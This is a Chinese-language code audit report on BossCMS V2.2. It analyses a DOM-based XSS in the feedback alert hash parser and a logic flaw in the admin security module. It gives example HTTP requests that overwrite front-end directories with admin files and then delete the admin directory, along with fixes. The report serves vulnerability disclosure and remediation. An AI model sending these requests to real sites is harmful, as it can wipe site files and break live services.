BossCms V2.2 代码审计
字数 1152 2025-08-24 16:48:17

BossCMS V2.2 代码审计报告与漏洞分析

1. DOM型XSS漏洞分析

1.1 漏洞发现位置

  • 前台feedback功能点
  • 后台管理界面

1.2 漏洞触发条件

当成功提交反馈时会弹出提示,URL格式为:
http://bosscms.test.com/feedback/#_alert=反馈提交成功!,green

1.3 漏洞原理

  1. URL参数解析缺陷

    • 系统通过JavaScript解析URL中的hash部分
    • 使用正则表达式匹配#_alert=(.+?),(red|green|blue|yellow|gold)
    • 匹配到的内容直接拼接HTML并添加到body标签
  2. 关键代码分析

    var at = window.location.hash.match(/#_alert=(.+?),(red|green|blue|yellow|gold)/);
    if(at){
        _alert(decodeURI(at[1]), at[2]);
        window.location.hash = window.location.hash.replace(at[0],'');
    }
    
    function _alert(str, type){
        var date = new Date();
        now = date.getTime();
        $('body').append('<h6 class="alert ' + type + '" time="' + now + '" style="z-index:' + now + ';"><b>' + str + '</b></h6>');
        // 省略动画效果代码...
    }
    
  3. 漏洞利用

    • 构造恶意URL:
      http://bosscms.test.com/feedback/#_alert=">,green
      
    • 攻击向量会被直接插入DOM中执行

1.4 受影响文件

  • /public/static/js/global.js
  • /public/static/js/bosscms.js

1.5 修复建议

  1. 对alert内容进行HTML实体编码
  2. 使用textContent而非innerHTML插入内容
  3. 实现严格的输入过滤

2. 后台安全设置模块逻辑缺陷

2.1 漏洞位置

/system/admin/safe/safe.class.php文件

2.2 核心漏洞代码分析

2.2.1 init方法

public function init() {
    global $G;
    $G['cover'] = $this->cover();
    if(preg_match("/^\w+$/", $old=arrExist($G['get'],'old_folder'))){
        if(is_file(ROOT_PATH.$old.'/index.php')){
            $str = file_get_contents(ROOT_PATH.$old.'/index.php');
            $res = dir::read(ROOT_PATH.$old.'/');
            if(strstr($str,"define('IS_INSIDE',true);") && count($res['file'])==1){
                dir::remove(ROOT_PATH.$old.'/');
            }
        }
    }
    echo $this->theme('safe/safe');
}

2.2.2 add方法

public function add() {
    global $G;
    $this->cover('safe','M');
    if(isset($G['post'])){
        if(!$G['post']['admin_folder']){
            alert('后台文件夹不能为空!');
        }
        // 配置更新代码省略...
        
        if($G['path']['folder'] != $G['post']['admin_folder']){
            if(!preg_match("/^\w+$/", $G['post']['admin_folder'])){
                alert('文件夹名称必须为英文、数字、下划线等字符');
            }
            dir::copydir(ROOT_PATH.$G['path']['folder'].'/', ROOT_PATH.$G['post']['admin_folder']);
            alert('操作成功', $G['post']['admin_folder'].'/'.url::mpf('safe','safe','init',array('admin_folder'=>$G['post']['admin_folder'],'old_folder'=>$G['path']['folder'])));
        }else{
            alert('操作成功', url::mpf('safe','safe','init'));
        }
    }
}

2.3 漏洞利用场景

2.3.1 文件覆盖攻击

  1. 攻击流程

    • 通过add方法将admin_folder参数设置为前台目录(如feedback)
    • 系统会将后台目录文件复制到指定目录
    • 导致前台功能被后台文件覆盖
  2. 攻击数据包示例

POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms.test.com
Content-Type: multipart/form-data; boundary=4172384995493174183638070831

--4172384995493174183638070831
Content-Disposition: form-data; name="admin_folder"

feedback
--4172384995493174183638070831
(其他表单字段省略...)

2.3.2 文件删除攻击

  1. 删除条件

    • 目录必须为后台路径且包含define('IS_INSIDE',true);
    • 目录名称必须为数字、字母或下划线
    • 目录下必须只有一个index.php文件
  2. 攻击流程

    • 先通过文件覆盖使目标目录满足删除条件
    • 然后调用init方法删除该目录
  3. 攻击数据包示例

GET /feedback/?mold=safe&part=safe&func=init&admin_folder=feedback&old_folder=admin HTTP/1.1
Host: bosscms.test.com

2.4 漏洞危害

  1. 可覆盖任意目录文件
  2. 可删除关键系统文件
  3. 可导致网站所有功能点404

2.5 修复建议

  1. 增加目录白名单验证
  2. 对操作目录进行严格权限检查
  3. 分离前后台操作逻辑
  4. 增加操作确认机制

3. 总结

3.1 漏洞共性

  1. 缺乏严格的输入验证
  2. 过度信任用户可控参数
  3. 未实现最小权限原则

3.2 安全开发建议

  1. 实施严格的输入过滤和输出编码
  2. 遵循最小权限原则设计功能
  3. 对文件系统操作进行多重验证
  4. 实现完整的操作日志记录

3.3 防御措施

  1. 及时更新补丁
  2. 限制后台访问IP
  3. 定期进行安全审计
  4. 实施文件完整性监控

本报告详细分析了BossCMS V2.2中存在的两个高危漏洞,包括DOM型XSS和后台安全设置模块的逻辑缺陷,并提供了相应的修复建议和安全开发指导。

BossCMS V2.2 代码审计报告与漏洞分析 1. DOM型XSS漏洞分析 1.1 漏洞发现位置 前台feedback功能点 后台管理界面 1.2 漏洞触发条件 当成功提交反馈时会弹出提示,URL格式为: http://bosscms.test.com/feedback/#_alert=反馈提交成功!,green 1.3 漏洞原理 URL参数解析缺陷 : 系统通过JavaScript解析URL中的hash部分 使用正则表达式匹配 #_alert=(.+?),(red|green|blue|yellow|gold) 匹配到的内容直接拼接HTML并添加到body标签 关键代码分析 : 漏洞利用 : 构造恶意URL: 攻击向量会被直接插入DOM中执行 1.4 受影响文件 /public/static/js/global.js /public/static/js/bosscms.js 1.5 修复建议 对alert内容进行HTML实体编码 使用textContent而非innerHTML插入内容 实现严格的输入过滤 2. 后台安全设置模块逻辑缺陷 2.1 漏洞位置 /system/admin/safe/safe.class.php 文件 2.2 核心漏洞代码分析 2.2.1 init方法 2.2.2 add方法 2.3 漏洞利用场景 2.3.1 文件覆盖攻击 攻击流程 : 通过add方法将admin_ folder参数设置为前台目录(如feedback) 系统会将后台目录文件复制到指定目录 导致前台功能被后台文件覆盖 攻击数据包示例 : 2.3.2 文件删除攻击 删除条件 : 目录必须为后台路径且包含 define('IS_INSIDE',true); 目录名称必须为数字、字母或下划线 目录下必须只有一个index.php文件 攻击流程 : 先通过文件覆盖使目标目录满足删除条件 然后调用init方法删除该目录 攻击数据包示例 : 2.4 漏洞危害 可覆盖任意目录文件 可删除关键系统文件 可导致网站所有功能点404 2.5 修复建议 增加目录白名单验证 对操作目录进行严格权限检查 分离前后台操作逻辑 增加操作确认机制 3. 总结 3.1 漏洞共性 缺乏严格的输入验证 过度信任用户可控参数 未实现最小权限原则 3.2 安全开发建议 实施严格的输入过滤和输出编码 遵循最小权限原则设计功能 对文件系统操作进行多重验证 实现完整的操作日志记录 3.3 防御措施 及时更新补丁 限制后台访问IP 定期进行安全审计 实施文件完整性监控 本报告详细分析了BossCMS V2.2中存在的两个高危漏洞,包括DOM型XSS和后台安全设置模块的逻辑缺陷,并提供了相应的修复建议和安全开发指导。